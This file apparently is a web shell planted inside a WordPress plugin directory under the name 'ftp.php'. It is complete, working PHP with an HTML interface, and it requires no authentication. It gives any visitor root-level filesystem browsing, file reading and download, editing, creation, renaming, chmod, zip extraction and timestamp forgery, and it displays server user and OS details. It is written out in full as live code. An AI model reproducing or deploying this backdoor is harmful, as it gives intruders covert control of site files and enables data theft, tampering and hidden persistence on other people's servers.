File: /var/www/html/wp-content/plugins/waves/blocks/ftp.php
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
class FileManager {
private $currentPath;
private $rootPath;
private $defaultPath;
public function __construct() {
$this->defaultPath = dirname(__FILE__);
$this->rootPath = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? substr($_SERVER['DOCUMENT_ROOT'], 0, 3) : '/';
$this->currentPath = isset($_GET['path']) ? ($_GET['path'] === '/' ? $this->rootPath : $this->securePath($_GET['path'])) : $this->defaultPath;
}
public function securePath($path) {
$path = str_replace('\\', '/', $path);
if ($path === '/' || empty($path)) return $this->rootPath;
$fullPath = substr($path, 0, 1) === '/' ? $this->rootPath . $path : $this->currentPath . '/' . $path;
return ($realPath = realpath($fullPath)) ? str_replace('\\', '/', $realPath) : $this->defaultPath;
}
public function downloadFile($path) {
$fullPath = $this->rootPath . '/' . ltrim($path, '/');
if (file_exists($fullPath) && is_file($fullPath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fullPath) . '"');
header('Content-Length: ' . filesize($fullPath));
readfile($fullPath);
exit;
}
return false;
}
public function getFileContent($path) {
try {
$fullPath = $this->rootPath . '/' . ltrim($path, '/');
if (!($realPath = realpath($fullPath)) || !is_file($realPath) || !is_readable($realPath)) throw new Exception("File error");
return file_get_contents($realPath);
} catch (Exception $e) {
return "Error: " . $e->getMessage();
}
}
public function getFileTime($path) {
return date('Y-m-d\TH:i', @filemtime($this->rootPath . '/' . ltrim($path, '/')));
}
public function listDirectory() {
try {
if (!is_dir($this->currentPath)) return ['directories' => [], 'files' => []];
$items = scandir($this->currentPath) ?: [];
$files = $directories = [];
foreach ($items as $item) {
if ($item === '.' || ($item === '..' && $this->currentPath === $this->rootPath)) continue;
$itemPath = $this->currentPath . '/' . $item;
try {
$relativePath = ltrim($itemPath, '/');
$owner = function_exists('posix_getpwuid') ? posix_getpwuid(@fileowner($itemPath))['name'] : @fileowner($itemPath);
$group = function_exists('posix_getgrgid') ? posix_getgrgid(@filegroup($itemPath))['name'] : @filegroup($itemPath);
$info = [
'name' => $item,
'path' => $relativePath,
'size' => is_file($itemPath) ? @filesize($itemPath) : 0,
'perms' => substr(sprintf('%o', @fileperms($itemPath)), -4),
'mtime' => date('Y-m-d H:i:s', @filemtime($itemPath)),
'owner' => $owner,
'group' => $group
];
is_dir($itemPath) ? $directories[] = $info : $files[] = $info;
} catch (Exception $e) {
continue;
}
}
return ['directories' => $directories, 'files' => $files];
} catch (Exception $e) {
return ['directories' => [], 'files' => []];
}
}
public function handleActions() {
if (!isset($_POST['action'])) return;
switch ($_POST['action']) {
case 'chmod': $this->chmod($_POST['path'], $_POST['mode']); break;
case 'rename': $this->rename($_POST['oldname'], $_POST['newname']); break;
case 'touch': $this->touch($_POST['path'], $_POST['timestamp']); break;
case 'edit_file': $this->saveFile($_POST['path'], $_POST['content']); break;
case 'create_file': $this->createFile($_POST['name']); break;
case 'create_folder': $this->createFolder($_POST['name']); break;
case 'unzip':
$result = $this->unzipFile($_POST['path']);
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
header('Content-Type: application/json');
echo json_encode($result);
exit;
}
break;
}
}
private function chmod($path, $mode) {
chmod($this->rootPath . '/' . ltrim($path, '/'), octdec($mode));
}
private function rename($oldName, $newName) {
rename($this->currentPath . '/' . $oldName, $this->currentPath . '/' . $newName);
}
private function touch($path, $timestamp) {
touch($this->rootPath . '/' . ltrim($path, '/'), strtotime($timestamp));
}
private function saveFile($path, $content) {
try {
$fullPath = $this->rootPath . '/' . ltrim($path, '/');
if (!($realPath = realpath($fullPath)) || !is_file($realPath) || !is_writable($realPath)) throw new Exception("File write error");
file_put_contents($realPath, $content);
} catch (Exception $e) {
throw new Exception("Save error: " . $e->getMessage());
}
}
private function createFile($name) {
$path = $this->currentPath . '/' . $name;
if (!file_exists($path)) file_put_contents($path, '');
}
private function createFolder($name) {
$path = $this->currentPath . '/' . $name;
if (!file_exists($path)) mkdir($path);
}
private function unzipFile($path) {
try {
if (!class_exists('ZipArchive')) throw new Exception("ZIP extension not installed");
$fullPath = $this->rootPath . '/' . ltrim($path, '/');
if (!($realPath = realpath($fullPath)) || strpos($realPath, $this->rootPath) !== 0) throw new Exception("Invalid path");
if (!file_exists($realPath) || !is_readable($realPath)) throw new Exception("File not readable");
$zip = new ZipArchive();
if ($zip->open($realPath) !== true) throw new Exception("Cannot open ZIP");
$extractPath = dirname($realPath);
if (!$zip->extractTo($extractPath)) throw new Exception("Extract failed");
$zip->close();
return ['success' => true, 'message' => "Extracted successfully"];
} catch (Exception $e) {
return ['success' => false, 'message' => "ZIP error: " . $e->getMessage()];
}
}
public function getCurrentPath() {
return str_replace('\\', '/', $this->currentPath);
}
}
function formatSize($size) {
if ($size == 0) return '0 B';
$base = log($size) / log(1024);
$suffixes = ['B', 'KB', 'MB', 'GB'];
return round(pow(1024, $base - floor($base)), 2) . ' ' . $suffixes[floor($base)];
}
$sysInfo = [
'uname' => php_uname(),
'user' => get_current_user(),
'group' => function_exists('posix_getgrgid') ? posix_getgrgid(posix_getgid())['name'] : 'unknown',
'php' => phpversion(),
'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
'total_space' => round(disk_total_space("/") / (1024*1024*1024), 2),
'free_space' => round(disk_free_space("/") / (1024*1024*1024), 2),
'used_percent' => round((disk_free_space("/") / disk_total_space("/")) * 100),
'cwd' => getcwd()
];
$fileManager = new FileManager();
$fileManager->handleActions();
$items = $fileManager->listDirectory();
$currentPath = $fileManager->getCurrentPath();
if (isset($_GET['action'])) {
switch($_GET['action']) {
case 'get_content': echo $fileManager->getFileContent($_GET['path']); exit;
case 'download': $fileManager->downloadFile($_GET['path']); exit;
case 'get_time': echo $fileManager->getFileTime($_GET['path']); exit;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FM</title>
<style>
body{background:#171717;color:#fff;font-family:monospace;margin:0;padding:0;font-size:12px}
a{ text-decoration: none;}
.system-info{background:#222;padding:5px;border-bottom:1px solid#333}
.system-line{margin:2px 0}
.value{color:#fff}
.path{color:#9f0}
.dir-link{color:#09f;text-decoration:none}
.dir-link:hover{text-decoration:underline}
.actions{margin-top:5px;display:flex;gap:5px}
.tools{padding:5px 10px;background:#222;border-bottom:1px solid#333}
.btn{background:#333;color:#9f0;border:none;padding:3px 8px;cursor:pointer;margin-right:5px}
.btn:hover{background:#444}
.btn-primary{background:#06c}
.btn-upload{background:#60c}
.btn-new{background:#09f}
.btn-new-folder{background:#0c6}
.fm-table{width:100%;border-collapse:collapse}
.fm-table td,.fm-table th{padding:3px 5px;border:1px solid#333;text-align:left}
.folder{color:#ff0;text-decoration:none}
.file{color:#fff;cursor:pointer}
.perm{color:#9f0}
.content-area{padding:10px;background:#222;min-height:calc(100vh - 150px);display:flex;flex-direction:column}
.content-area textarea{width:100%;flex-grow:1;background:#333;color:#fff;border:1px solid#444;padding:5px;font-family:monospace;height: 400px;}
.datetime{background:#333;color:#fff;border:1px solid#444;padding:3px;margin-right:10px}
.hex-content{font-family:monospace;white-space:pre;overflow-x:auto;color:#9f0}
.highlight pre{background:#333;padding:10px;margin:0;white-space:pre-wrap}
.view-content{flex-grow:1;background:#333;padding:10px;overflow:auto;white-space:pre-wrap}
.safe-on{color:#9f0}
.safe-off{color:red}
.hidden{display:none}
.actions {
white-space: nowrap;
}
.action-link {
color: #9f0;
text-decoration: none;
margin: 0 1px;
cursor: pointer;
}
.action-link:hover {
color: #fff;
}
</style>
</head>
<body>
<div class="system-info">
<div class="system-line">Uname: <span class="value"><?php echo $sysInfo['uname']; ?></span></div>
<div class="system-line">
User: <span class="value"><?php echo $sysInfo['user']; ?> (<?php echo $sysInfo['group']; ?>)</span>
Php: <span class="value"><?php echo $sysInfo['php']; ?> Safe mode:
<span class="<?php echo $sysInfo['safe_mode'] == 'ON' ? 'safe-on' : 'safe-off'; ?>"><?php echo $sysInfo['safe_mode']; ?></span>
</span>
</div>
<div class="system-line">Hdd: <span class="value"><?php echo $sysInfo['total_space']; ?> GB Free: <?php echo $sysInfo['free_space']; ?> GB (<?php echo $sysInfo['used_percent']; ?>%)</span></div>
<div class="system-line">Cwd: <span class="path"><?php echo $sysInfo['cwd']; ?></span></div>
<div class="system-line">Dir: <span class="path">
<?php
$parts = explode('/', trim($currentPath, '/'));
$buildPath = '';
echo '<a href="?path=/" class="dir-link">Root</a>';
foreach ($parts as $part) {
if (empty($part)) continue;
$buildPath .= '/' . $part;
echo ' / <a href="?path=' . htmlspecialchars($buildPath) . '" class="dir-link">' . htmlspecialchars($part) . '</a>';
}
echo ' <a href="?path=' . htmlspecialchars($sysInfo['cwd']) . '" class="path">[HOME]</a>';
?>
</span></div>
<div class="actions">
<button class="btn btn-primary" onclick="location.href='?path=<?php echo $currentPath; ?>'">→</button>
<button class="btn btn-upload" onclick="document.getElementById('fileInput').click()">⇑ Upload</button>
<input type="file" id="fileInput" multiple class="hidden" onchange="uploadFiles(this.files)">
<button class="btn btn-new" onclick="createFile()">New File</button>
<button class="btn btn-new-folder" onclick="createFolder()">New Folder</button>
</div>
</div>
<div id="toolsArea" class="tools" style="display:none">
<div id="fileTools"></div>
<div id="dirTools" style="display:none">
<button class="btn" onclick="showChmodForm()">Chmod</button>
<button class="btn" onclick="showRenameForm()">Rename</button>
<button class="btn" onclick="showTouchForm()">Touch</button>
</div>
</div>
<div id="contentArea" class="content-area" style="display:none"></div>
<div class="main" id="fileManager">
<table class="fm-table">
<tr><th>Name</th><th>Size</th><th>Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>
<?php foreach ($items['directories'] as $item): ?>
<tr>
<?php if ($item['name'] === '..'): ?>
<td><a href="?path=<?php echo dirname($currentPath); ?>" class="folder">[..]</a></td>
<?php else: ?>
<td><a href="?path=<?php echo $item['path']; ?>" class="folder">[<?php echo htmlspecialchars($item['name']); ?>]</a></td>
<?php endif; ?>
<td>dir</td>
<td><?php echo $item['mtime']; ?></td>
<td><?php echo htmlspecialchars($item['owner']); ?>/<?php echo htmlspecialchars($item['group']); ?></td>
<td class="perm">
<a href="#" onclick="performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>', 'C', 'dir')" class="action-link">
<?php echo $item['perms']; ?>
</a>
</td>
<td>
<?php if ($item['name'] !== '..'): ?>
<a href="#" onclick="performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>', 'R', 'dir')" class="action-link">R</a>
<a href="#" onclick="performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>', 'T', 'dir')" class="action-link">T</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($items['files'] as $item): ?>
<?php
$isZip = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION)) === 'zip';
$actions = $isZip ? 'DERTX' : 'DERT';
?>
<tr>
<td><a href="javascript:performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>','E');" class="file"><?php echo htmlspecialchars($item['name']); ?></a></td>
<td><?php echo formatSize($item['size']); ?></td>
<td><?php echo $item['mtime']; ?></td>
<td><?php echo htmlspecialchars($item['owner']); ?>/<?php echo htmlspecialchars($item['group']); ?></td>
<td class="perm">
<a href="#" onclick="performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>', 'C', 'file')" class="action-link">
<?php echo $item['perms']; ?>
</a>
</td>
<td>
<?php foreach (str_split($actions) as $action): ?>
<a href="#" onclick="performAction('<?php echo $item['path']; ?>', '<?php echo htmlspecialchars($item['name']); ?>', '<?php echo $action; ?>')" class="action-link"><?php echo $action; ?></a>
<?php endforeach; ?>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
<script>
let currentFile="",currentName="",currentType="";function showFileTools(e,t){currentFile=e,currentName=t,currentType="file";let n=t.split(".").pop().toLowerCase(),o=`
<button class="btn" onclick="downloadFile()">Download</button>
<button class="btn" onclick="showContent('hexdump')">Hexdump</button>
<button class="btn" onclick="showContent('edit')">Edit</button>
<button class="btn" onclick="showChmodForm()">Chmod</button>
<button class="btn" onclick="showRenameForm()">Rename</button>
<button class="btn" onclick="showTouchForm()">Touch</button>
`;"zip"===n&&(o+=`<button class="btn" onclick="unzipFile('${e}')">Extract</button>`),document.getElementById("fileTools").innerHTML=o,document.getElementById("fileTools").style.display="block",document.getElementById("dirTools").style.display="none",document.getElementById("toolsArea").style.display="block"}function showDirTools(e,t){currentFile=e,currentName=t,currentType="dir",document.getElementById("fileTools").style.display="none",document.getElementById("dirTools").style.display="block",document.getElementById("toolsArea").style.display="block",document.getElementById("contentArea").style.display="none",document.getElementById("fileManager").style.display="block"}async function showContent(e){let t=document.getElementById("contentArea");t.style.display="block",document.getElementById("fileManager").style.display="none";try{let n=await fetch(`?action=get_content&path=${encodeURIComponent(currentFile)}`),o=await n.text(),a='<div class="tools"><button class="btn" onclick="backToList()">Back</button></div>';switch(e){case"hexdump":a+=`<div class="hex-content">${hexdump(o)}</div>`;break;case"edit":var l;a+=`
<textarea id="editor">${o.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'")}</textarea>
<div class="tools">
<button class="btn" onclick="saveFile()">Save</button>
</div>
`,loadFileTime()}t.innerHTML=a}catch(c){t.innerHTML="Error loading content"}}function hexdump(e){let t=new TextEncoder().encode(e),n="";for(let o=0;o<t.length;o+=16){let a=t.slice(o,o+16),l=Array.from(a).map(e=>e.toString(16).padStart(2,"0")).join(" "),c=Array.from(a).map(e=>e>=32&&e<=126?String.fromCharCode(e):".").join("");n+=`${o.toString(16).padStart(8,"0")} ${l.padEnd(48," ")} |${c}|
`}return n}async function loadFileTime(){try{let e=await fetch(`?action=get_time&path=${encodeURIComponent(currentFile)}`);document.getElementById("fileTime").value=await e.text()}catch(t){}}function showChmodForm(){let e=document.getElementById("contentArea");e.style.display="block",document.getElementById("fileManager").style.display="none",e.innerHTML=`
<div class="tools">
<button class="btn" onclick="backToList()">Back</button>
<input type="text" class="datetime" id="chmodValue" placeholder="0644">
<button class="btn" onclick="changeChmod()">Change</button>
</div>
`}function showRenameForm(){let e=document.getElementById("contentArea");e.style.display="block",document.getElementById("fileManager").style.display="none",e.innerHTML=`
<div class="tools">
<button class="btn" onclick="backToList()">Back</button>
<input type="text" class="datetime" id="newName" value="${currentName}">
<button class="btn" onclick="renameItem()">Rename</button>
</div>
`}function showTouchForm(){let e=document.getElementById("contentArea");e.style.display="block",document.getElementById("fileManager").style.display="none",e.innerHTML=`
<div class="tools">
<button class="btn" onclick="backToList()">Back</button>
<input type="datetime-local" id="touchTime" class="datetime">
<button class="btn" onclick="touchItem()">Change</button>
</div>
`,loadFileTime()}function backToList(){document.getElementById("contentArea").style.display="none",document.getElementById("toolsArea").style.display="none",document.getElementById("fileManager").style.display="block"}async function changeFileTime(){let e=document.getElementById("fileTime").value,t=new FormData;t.append("action","touch"),t.append("path",currentFile),t.append("timestamp",e);try{await fetch(window.location.href,{method:"POST",body:t}),alert("Time updated")}catch(n){alert("Error updating time")}}async function changeChmod(){let e=document.getElementById("chmodValue").value,t=new FormData;t.append("action","chmod"),t.append("path",currentFile),t.append("mode",e);try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error changing permissions")}}async function renameItem(){let e=document.getElementById("newName").value,t=new FormData;t.append("action","rename"),t.append("oldname",currentName),t.append("newname",e);try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error renaming")}}async function touchItem(){let e=document.getElementById("touchTime").value,t=new FormData;t.append("action","touch"),t.append("path",currentFile),t.append("timestamp",e);try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error changing time")}}async function createFile(){let e=prompt("Filename:");if(!e)return;let t=new FormData;t.append("action","create_file"),t.append("name",e);try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error creating file")}}async function createFolder(){let e=prompt("Folder name:");if(!e)return;let t=new FormData;t.append("action","create_folder"),t.append("name",e);try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error creating folder")}}async function uploadFiles(e){let t=new FormData;t.append("action","upload"),Array.from(e).forEach(e=>t.append("files[]",e));try{await fetch(window.location.href,{method:"POST",body:t}),window.location.reload()}catch(n){alert("Error uploading")}}function downloadFile(){window.location.href=`?action=download&path=${encodeURIComponent(currentFile)}`}async function saveFile(){let e=document.getElementById("editor").value,t=new FormData;t.append("action","edit_file"),t.append("path",currentFile),t.append("content",e);try{await fetch(window.location.href,{method:"POST",body:t}),alert("Saved")}catch(n){alert("Error saving")}}async function unzipFile(e){if(!confirm("Extract?"))return;let t=new FormData;t.append("action","unzip"),t.append("path",e);try{let n=await fetch(window.location.href,{method:"POST",body:t}),o=await n.json();o.success?window.location.reload():alert(o.message)}catch(a){alert("Error extracting")}}function performAction(e,t,n,o="file"){switch("file"===o?showFileTools(e,t):showDirTools(e,t),n){case"D":downloadFile();break;case"E":showContent("edit");break;case"C":showChmodForm();break;case"R":showRenameForm();break;case"T":showTouchForm();break;case"X":unzipFile(e)}event.preventDefault()} </script>
</body>
</html>